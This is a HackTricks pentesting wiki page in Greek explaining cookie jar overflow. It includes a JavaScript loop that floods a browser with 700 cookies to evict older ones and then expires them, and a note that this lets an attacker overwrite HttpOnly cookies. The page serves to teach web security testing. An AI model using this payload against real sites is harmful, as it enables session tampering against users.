hacktricks/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md

3.8 KiB
Raw Blame History

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Οι φυλλομετρητές έχουν ένα όριο στον αριθμό των cookies που μπορούν να αποθηκεύσουν για μια σελίδα. Έτσι, αν για κάποιο λόγο χρειαστεί να κάνετε ένα cookie να εξαφανιστεί, μπορείτε να υπερχείλετε το δοχείο cookie καθώς τα παλαιότερα θα διαγραφούν πρώτα:

// Set many cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i}; Secure`;
}

// Remove all cookies
for (let i = 0; i < 700; i++) {
document.cookie = `cookie${i}=${i};expires=Thu, 01 Jan 1970 00:00:01 GMT`;
}

Σημειώστε ότι τα cookies τρίτων που δείχνουν σε διαφορετικό τομέα δεν θα αντικατασταθούν.

{% hint style="danger" %} Αυτή η επίθεση μπορεί επίσης να χρησιμοποιηθεί για να αντικαταστήσει τα HttpOnly cookies καθώς μπορείτε να το διαγράψετε και στη συνέχεια να το επαναφέρετε με την τιμή που θέλετε.

Ελέγξτε αυτό σε αυτή την ανάρτηση με ένα εργαστήριο. {% endhint %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}